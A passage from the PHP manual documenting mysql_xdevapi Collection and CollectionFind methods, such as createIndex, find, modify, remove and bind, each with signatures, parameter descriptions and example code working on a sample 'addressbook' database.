{"title":"Father","Salary":0}
],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [
{"title":"Scientist","Salary":18000},
{"title":"Mother","Salary":0}
],
"hobbies": ["Walking","Making pies"]}')
->execute();

var_dump($collection->count());
?>

以上示例会输出：

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Create collection index

  • ? Collection::count
  • Collection::dropIndex ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Create collection index

Collection::createIndex

(No version information available, might only be in Git)

Collection::createIndex — Create collection index

说明

public mysql_xdevapi\Collection::createIndex(string $index_name, string $index_desc_json): void

Creates an index on the collection.

An exception is thrown if an index with the same name already exists, or if index definition is not correctly formed.

参数

index_name

The name of the index that to create. This name must be a valid index name as accepted by the CREATE INDEX SQL query.

index_desc_json

Definition of the index to create. It contains an array of IndexField objects, and each object describes a single document member to include in the index, and an optional string for the type of index that might be INDEX (default) or SPATIAL.

A single IndexField description consists of the following fields:

  • field: string, the full document path to the document member or field to be indexed.

  • type: string, one of the supported SQL column types to map the field into. For numeric types, the optional UNSIGNED keyword may follow. For the TEXT type, the length to consider for indexing may be added.

  • required: bool, (optional) true if the field is required to exist in the document. Defaults to false, except for GEOJSON where it defaults to true.

  • options: integer, (optional) special option flags for use when decoding GEOJSON data.

  • srid: integer, (optional) srid value for use when decoding GEOJSON data.

It is an error to include other fields not described above in IndexDefinition or IndexField documents.

返回值

示例

Example #1 mysql_xdevapi\Collection::createIndex() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// Creating a text index
$collection->createIndex(
'myindex1',
'{"fields": [{
"field": "$.name",
"type": "TEXT(25)",
"required": true}],
"unique": false}'
);

// A spatial index
$collection->createIndex(
'myindex2',
'{"fields": [{
"field": "$.home",
"type": "GEOJSON",
"required": true}],
"type": "SPATIAL"}'
);

// Index with multiple fields
$collection->createIndex(
'myindex3',
'{"fields": [
{
"field": "$.name",
"type": "TEXT(20)",
"required": true
},
{
"field": "$.age",
"type": "INTEGER"
},
{
"field": "$.job",
"type": "TEXT(30)",
"required": false
}
],
"unique": true
}'
);

User Contributed Notes

There are no user contributed notes for this page.


Drop collection index

  • ? Collection::createIndex
  • Collection::existsInDatabase ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Drop collection index

Collection::dropIndex

(No version information available, might only be in Git)

Collection::dropIndex — Drop collection index

说明

public mysql_xdevapi\Collection::dropIndex(string $index_name): bool

Drop a collection index.

This operation does not yield an error if the index does not exist, but false is returned in that case.

参数

index_name

Name of collection index to drop.

返回值

true if the DROP INDEX operation succeeded, otherwise false.

示例

Example #1 mysql_xdevapi\Collection::dropIndex() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

$collection->createIndex(
'myindex',
'{"fields": [{"field": "$.name", "type": "TEXT(25)", "required": true}], "unique": false}'
);

// ...

if ($collection->dropIndex('myindex')) {
echo "An index named 'myindex' was found, and dropped.";
}
?>

以上示例会输出：

An index named 'myindex' was found, and dropped.

User Contributed Notes

There are no user contributed notes for this page.


Check if collection exists in database

  • ? Collection::dropIndex
  • Collection::find ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Check if collection exists in database

Collection::existsInDatabase

(No version information available, might only be in Git)

Collection::existsInDatabase — Check if collection exists in database

说明

public mysql_xdevapi\Collection::existsInDatabase(): bool

Checks if the Collection object refers to a collection in the database (schema).

参数

此函数没有参数。

返回值

Returns true if collection exists in the database, else false if it does not.

A table defined with two columns (doc and _id) is considered a collection, and a third _json_schema column as of MySQL 8.0.21. Adding an additional column means existsInDatabase() will no longer see it as a collection.

示例

Example #1 mysql_xdevapi\Collection::existsInDatabase() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

// ...

$collection = $schema->getCollection("people");

// ...

if (!$collection->existsInDatabase()) {
echo "The collection no longer exists in the database named addressbook. What happened?";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Search for document

  • ? Collection::existsInDatabase
  • Collection::getName ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Search for document

Collection::find

(No version information available, might only be in Git)

Collection::find — Search for document

说明

public mysql_xdevapi\Collection::find(string $search_condition = ?): mysql_xdevapi\CollectionFind

Search a database collection for a document or set of documents. The found documents are returned as a CollectionFind object is to further modify or fetch results from.

参数

search_condition

Although optional, normally a condition is defined to limit the results to a subset of documents.

Multiple elements might build the condition and the syntax supports parameter binding. The expression used as search condition must be a valid SQL expression. If no search condition is provided (field empty) then find('true') is assumed.

返回值

A CollectionFind object to verify the operation, or fetch the found documents.

示例

Example #1 mysql_xdevapi\Collection::find() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Swimmer"}')->execute();
$collection->add('{"name": "Fred", "age": 20, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 21, "job": "Teacher"}')->execute();
$collection->add('{"name": "Suki", "age": 22, "job": "Teacher"}')->execute();

$find = $collection->find('job LIKE :job AND age > :age');
$result = $find
->bind(['job' => 'Teacher', 'age' => 20])
->sort('age DESC')
->limit(2)
->execute();

print_r($result->fetchAll());
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [_id] => 00005b6b536100000000000000a8
            [age] => 22
            [job] => Teacher
            [name] => Suki
        )
    [1] => Array
        (
            [_id] => 00005b6b536100000000000000a7
            [age] => 21
            [job] => Teacher
            [name] => Wilma
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get collection name

  • ? Collection::find
  • Collection::getOne ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Get collection name

Collection::getName

(No version information available, might only be in Git)

Collection::getName — Get collection name

说明

public mysql_xdevapi\Collection::getName(): string

Retrieve the collection's name.

参数

此函数没有参数。

返回值

The collection name, as a string.

示例

Example #1 mysql_xdevapi\Collection::getName() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

var_dump($collection->getName());
?>

以上示例的输出类似于：

string(6) "people"

User Contributed Notes

There are no user contributed notes for this page.


Get one document

  • ? Collection::getName
  • Collection::getSchema ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Get one document

Collection::getOne

(No version information available, might only be in Git)

Collection::getOne — Get one document

说明

public mysql_xdevapi\Collection::getOne(string $id): Document

Fetches one document from the collection.

This is a shortcut for: Collection.find("_id = :id").bind("id", id).execute().fetchOne();

参数

id

The document _id in the collection.

返回值

The collection object, or null if the _id does not match a document.

示例

Example #1 mysql_xdevapi\Collection::getOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// A unique _id is (by default, and recommended) generated by MySQL Server
// This retrieves the generated _id's; only one in this example, so $ids[0]
$ids = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

以上示例的输出类似于：

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


Get schema object

  • ? Collection::getOne
  • Collection::getSession ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Get schema object

Collection::getSchema

(No version information available, might only be in Git)

Collection::getSchema — Get schema object

说明

public mysql_xdevapi\Collection::getSchema(): Schema Object

Retrieve the schema object that contains the collection.

参数

此函数没有参数。

返回值

The schema object on success, or null if the object cannot be retrieved for the given collection.

示例

Example #1 mysql_xdevapi\Collection::getSchema() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

var_dump($collection->getSchema());
?>

以上示例的输出类似于：

object(mysql_xdevapi\Schema)#9 (1) {
  ["name"]=>
  string(11) "addressbook"
}

User Contributed Notes

There are no user contributed notes for this page.


Get session object

  • ? Collection::getSchema
  • Collection::modify ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Get session object

Collection::getSession

(No version information available, might only be in Git)

Collection::getSession — Get session object

说明

public mysql_xdevapi\Collection::getSession(): Session

Get a new Session object from the Collection object.

参数

此函数没有参数。

返回值

A Session object.

示例

Example #1 mysql_xdevapi\Collection::getSession() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// ...

$newsession = $collection->getSession();

var_dump($session);
var_dump($newsession);
?>

以上示例的输出类似于：

object(mysql_xdevapi\Session)#1 (0) {
}
object(mysql_xdevapi\Session)#4 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Modify collection documents

  • ? Collection::getSession
  • Collection::remove ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Modify collection documents

Collection::modify

(No version information available, might only be in Git)

Collection::modify — Modify collection documents

说明

public mysql_xdevapi\Collection::modify(string $search_condition): mysql_xdevapi\CollectionModify

Modify collections that meet specific search conditions. Multiple operations are allowed, and parameter binding is supported.

参数

search_condition

Must be a valid SQL expression used to match the documents to modify. This expression might be as simple as true, which matches all documents, or it might use functions and operators such as 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0', or '_id IN ["2","5","7","10"]'.

返回值

If the operation is not executed, then the function will return a Modify object that can be used to add additional modify operations.

If the modify operation is executed, then the returned object will contain the result of the operation.

示例

Example #1 mysql_xdevapi\Collection::modify() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Painter"}')->execute();

// Add two new jobs for all Painters: Artist and Crafter
$collection
->modify("job in ('Butler', 'Painter')")
->arrayAppend('job', 'Artist')
->arrayAppend('job', 'Crafter')
->execute();

// Remove the 'beer' field from all documents with the age 21
$collection
->modify('age < 21')
->unset(['beer'])
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Remove collection documents

  • ? Collection::modify
  • Collection::removeOne ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Remove collection documents

Collection::remove

(No version information available, might only be in Git)

Collection::remove — Remove collection documents

说明

public mysql_xdevapi\Collection::remove(string $search_condition): mysql_xdevapi\CollectionRemove

Remove collections that meet specific search conditions. Multiple operations are allowed, and parameter binding is supported.

参数

search_condition

Must be a valid SQL expression used to match the documents to modify. This expression might be as simple as true, which matches all documents, or it might use functions and operators such as 'CAST(_id AS SIGNED) >= 10', 'age MOD 2 = 0 OR age MOD 3 = 0', or '_id IN ["2","5","7","10"]'.

返回值

If the operation is not executed, then the function will return a Remove object that can be used to add additional remove operations.

If the remove operation is executed, then the returned object will contain the result of the operation.

示例

Example #1 mysql_xdevapi\Collection::remove() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob", "age": 19, "job": "Painter"}')->execute();

// Remove all painters
$collection
->remove("job in ('Painter')")
->execute();

// Remove the oldest butler
$collection
->remove("job in ('Butler')")
->sort('age desc')
->limit(1)
->execute();

// Remove record with lowest age
$collection
->remove('true')
->sort('age desc')
->limit(1)
->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Remove one collection document

  • ? Collection::remove
  • Collection::replaceOne ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Remove one collection document

Collection::removeOne

(No version information available, might only be in Git)

Collection::removeOne — Remove one collection document

说明

public mysql_xdevapi\Collection::removeOne(string $id): mysql_xdevapi\Result

Remove one document from the collection with the correspending ID. This is a shortcut for Collection.remove("_id = :id").bind("id", id).execute().

参数

id

The ID of the collection document to remove. Typically this is the _id that was generated by MySQL Server when the record was added.

返回值

A Result object that can be used to query the number of affected items or the number warnings generated by the operation.

示例

Example #1 mysql_xdevapi\Collection::removeOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// Normally the _id is known by other means,
// but for this example let's fetch the generated id and use it
$ids = $result->getGeneratedIds();
$alfred_id = $ids[0];

$result = $collection->removeOne($alfred_id);

if(!$result->getAffectedItemsCount()) {
echo "Alfred with id $alfred_id was not removed.";
} else {
echo "Goodbye, Alfred, you can take _id $alfred_id with you.";
}
?>

以上示例的输出类似于：

Goodbye, Alfred, you can take _id 00005b6b536100000000000000cb with you.

User Contributed Notes

There are no user contributed notes for this page.


Replace one collection document

  • ? Collection::removeOne
  • mysql_xdevapi\CollectionAdd ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Replace one collection document

Collection::replaceOne

(No version information available, might only be in Git)

Collection::replaceOne — Replace one collection document

说明

public mysql_xdevapi\Collection::replaceOne(string $id, string $doc): mysql_xdevapi\Result

Updates (or replaces) the document identified by ID, if it exists.

参数

id

ID of the document to replace or update. Typically this is the _id that was generated by MySQL Server when the record was added.

doc

Collection document to update or replace the document matching the id parameter.

This document can be either a document object or a valid JSON string describing the new document.

返回值

A Result object that can be used to query the number of affected items and the number warnings generated by the operation.

示例

Example #1 mysql_xdevapi\Collection::replaceOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// Normally the _id is known by other means,
// but for this example let's fetch the generated id and use it
$ids = $result->getGeneratedIds();
$alfred_id = $ids[0];

// ...

$alfred = $collection->getOne($alfred_id);
$alfred['age'] = 81;
$alfred['job'] = 'Guru';

$collection->replaceOne($alfred_id, $alfred);

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionAdd class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CollectionAdd implements mysql_xdevapi\Executable {
/* 方法 */
public execute(): mysql_xdevapi\Result
}

Table of Contents

  • CollectionAdd::__construct — CollectionAdd constructor
  • CollectionAdd::execute — Execute the statement

User Contributed Notes

There are no user contributed notes for this page.


CollectionAdd constructor

  • ? mysql_xdevapi\CollectionAdd
  • CollectionAdd::execute ?
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • CollectionAdd constructor

CollectionAdd::__construct

(No version information available, might only be in Git)

CollectionAdd::__construct — CollectionAdd constructor

说明

private mysql_xdevapi\CollectionAdd::__construct()

Use to add a document to a collection; called from a Collection object.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\CollectionAdd::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Add two documents
$collection
->add('{"name": "Fred", "age": 21, "job": "Construction"}')
->execute();

$collection
->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
->execute();

// Add two documents using a single JSON object
$result = $collection
->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')
->execute();

// Fetch a list of generated ID's from the last add()
$ids = $result->getGeneratedIds();
print_r($ids);

?>

以上示例的输出类似于：

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

注释

Note:

A unique _id is generated by MySQL Server 8.0 or higher, as demonstrated in the example. The _id field must be manually defined if using MySQL Server 5.7.

User Contributed Notes

There are no user contributed notes for this page.


Execute the statement

  • ? CollectionAdd::__construct
  • mysql_xdevapi\CollectionFind ?
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • Execute the statement

CollectionAdd::execute

(No version information available, might only be in Git)

CollectionAdd::execute — Execute the statement

说明

public mysql_xdevapi\CollectionAdd::execute(): mysql_xdevapi\Result

The execute method is required to send the CRUD operation request to the MySQL server.

参数

此函数没有参数。

返回值

A Result object that can be used to verify the status of the operation, such as the number of affected rows.

示例

Example #1 mysql_xdevapi\CollectionAdd::execute() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Add two documents
$collection
->add('{"name": "Fred", "age": 21, "job": "Construction"}')
->execute();

$collection
->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
->execute();

// Add two documents using a single JSON object
$result = $collection
->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')
->execute();

// Fetch a list of generated ID's from the last add()
$ids = $result->getGeneratedIds();
print_r($ids);
?>

以上示例的输出类似于：

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

User Contributed Notes

There are no user contributed notes for this page.


CollectionFind class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CollectionFind implements mysql_xdevapi\Executable, mysql_xdevapi\CrudOperationBindable, mysql_xdevapi\CrudOperationLimitable, mysql_xdevapi\CrudOperationSortable {
/* 方法 */
public bind(array $placeholder_values): mysql_xdevapi\CollectionFind
public execute(): mysql_xdevapi\DocResult
public fields(string $projection): mysql_xdevapi\CollectionFind
public groupBy(string $sort_expr): mysql_xdevapi\CollectionFind
public having(string $sort_expr): mysql_xdevapi\CollectionFind
public limit(int $rows): mysql_xdevapi\CollectionFind
public lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind
public lockShared(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind
public offset(int $position): mysql_xdevapi\CollectionFind
public sort(string $sort_expr): mysql_xdevapi\CollectionFind
}

Table of Contents

  • CollectionFind::bind — Bind value to query placeholder
  • CollectionFind::__construct — CollectionFind constructor
  • CollectionFind::execute — Execute the statement
  • CollectionFind::fields — Set document field filter
  • CollectionFind::groupBy — Set grouping criteria
  • CollectionFind::having — Set condition for aggregate functions
  • CollectionFind::limit — Limit number of returned documents
  • CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK
  • CollectionFind::lockShared — Execute operation with SHARED LOCK
  • CollectionFind::offset — Skip given number of elements to be returned
  • CollectionFind::sort — Set the sorting criteria

User Contributed Notes

There are no user contributed notes for this page.


Bind value to query placeholder

  • ? mysql_xdevapi\CollectionFind
  • CollectionFind::__construct ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Bind value to query placeholder

CollectionFind::bind

(No version information available, might only be in Git)

CollectionFind::bind — Bind value to query placeholder

说明

public mysql_xdevapi\CollectionFind::bind(array $placeholder_values): mysql_xdevapi\CollectionFind

It allows the user to bind a parameter to the placeholder in the search condition of the find operation. The placeholder has the form of :NAME where ':' is a common prefix that must always exists before any NAME, NAME is the actual name of the placeholder. The bind function accepts a list of placeholders if multiple entities have to be substituted in the search condition.

参数

placeholder_values

Values to substitute in the search condition; multiple values are allowed and are passed as an array where "PLACEHOLDER_NAME => PLACEHOLDER_VALUE".

返回值

A CollectionFind object, or chain with execute() to return a Result object.

示例

Example #1 mysql_xdevapi\CollectionFind::bind() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


CollectionFind constructor

  • ? CollectionFind::bind
  • CollectionFind::execute ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • CollectionFind constructor

CollectionFind::__construct

(No version information available, might only be in Git)

CollectionFind::__construct — CollectionFind constructor

说明

private mysql_xdevapi\CollectionFind::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 CollectionFind example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Execute the statement

  • ? CollectionFind::__construct
  • CollectionFind::fields ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Execute the statement

CollectionFind::execute

(No version information available, might only be in Git)

CollectionFind::execute — Execute the statement

说明

public mysql_xdevapi\CollectionFind::execute(): mysql_xdevapi\DocResult

Execute the find operation; this functionality allows for method chaining.

参数

此函数没有参数。

返回值

A DocResult object that to either fetch results from, or to query the status of the operation.

示例

Example #1 CollectionFind example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Set document field filter

  • ? CollectionFind::execute
  • CollectionFind::groupBy ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Set document field filter

CollectionFind::fields

(No version information available, might only be in Git)

CollectionFind::fields — Set document field filter

说明

public mysql_xdevapi\CollectionFind::fields(string $projection): mysql_xdevapi\CollectionFind

Defined the columns for the query to return. If not defined then all columns are used.

参数

projection

Can either be a single string or an array of string, those strings are identifying the columns that have to be returned for each document that match the search condition.

返回值

A CollectionFind object that can be used for further processing.

示例

Example #1 mysql_xdevapi\CollectionFind::fields() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->fields('name')
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(1) {
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Set grouping criteria

  • ? CollectionFind::fields
  • CollectionFind::having ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Set grouping criteria

CollectionFind::groupBy

(No version information available, might only be in Git)

CollectionFind::groupBy — Set grouping criteria

说明

public mysql_xdevapi\CollectionFind::groupBy(string $sort_expr): mysql_xdevapi\CollectionFind

This function can be used to group the result-set by one more columns, frequently this is used with aggregate functions like COUNT,MAX,MIN,SUM etc.

参数

sort_expr

The columns or columns that have to be used for the group operation, this can either be a single string or an array of string arguments, one for each column.

返回值

A CollectionFind that can be used for further processing

示例

Example #1 mysql_xdevapi\CollectionFind::groupBy() example

<?php

//Assuming $coll is a valid Collection object

//Extract all the documents from the Collection and group the results by the 'name' field
$res = $coll->find()->groupBy('name')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Set condition for aggregate functions

  • ? CollectionFind::groupBy
  • CollectionFind::limit ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Set condition for aggregate functions

CollectionFind::having

(No version information available, might only be in Git)

CollectionFind::having — Set condition for aggregate functions

说明

public mysql_xdevapi\CollectionFind::having(string $sort_expr): mysql_xdevapi\CollectionFind

This function can be used after the 'field' operation in order to make a selection on the documents to extract.

参数

sort_expr

This must be a valid SQL expression, the use of aggreate functions is allowed

返回值

CollectionFind object that can be used for further processing

示例

Example #1 mysql_xdevapi\CollectionFind::having() example

<?php

//Assuming $coll is a valid Collection object

//Find all the documents for which the 'age' is greather than 40,
//Only the columns 'name' and 'age' are returned in the Result object
$res = $coll->find()->fields(['name','age'])->having('age > 40')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Limit number of returned documents

  • ? CollectionFind::having
  • CollectionFind::lockExclusive ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Limit number of returned documents

CollectionFind::limit

(No version information available, might only be in Git)

CollectionFind::limit — Limit number of returned documents

说明

public mysql_xdevapi\CollectionFind::limit(int $rows): mysql_xdevapi\CollectionFind

Set the maximum number of documents to return.

参数

rows

Maximum number of documents.

返回值

A CollectionFind object that can be used for additional processing; chain with the execute() method to return a DocResult object.

示例

Example #1 mysql_xdevapi\CollectionFind::limit() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
->execute();
$create
->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->limit(1)
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Execute operation with EXCLUSIVE LOCK

  • ? CollectionFind::limit
  • CollectionFind::lockShared ?
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Execute operation with EXCLUSIVE LOCK

CollectionFind::lockExclusive

(No version information available, might only be in Git)

CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK

说明

public mysql_xdevapi\CollectionFind::lockExclusive(int $lock_waiting_option = ?): mysql_xdevapi\CollectionFind

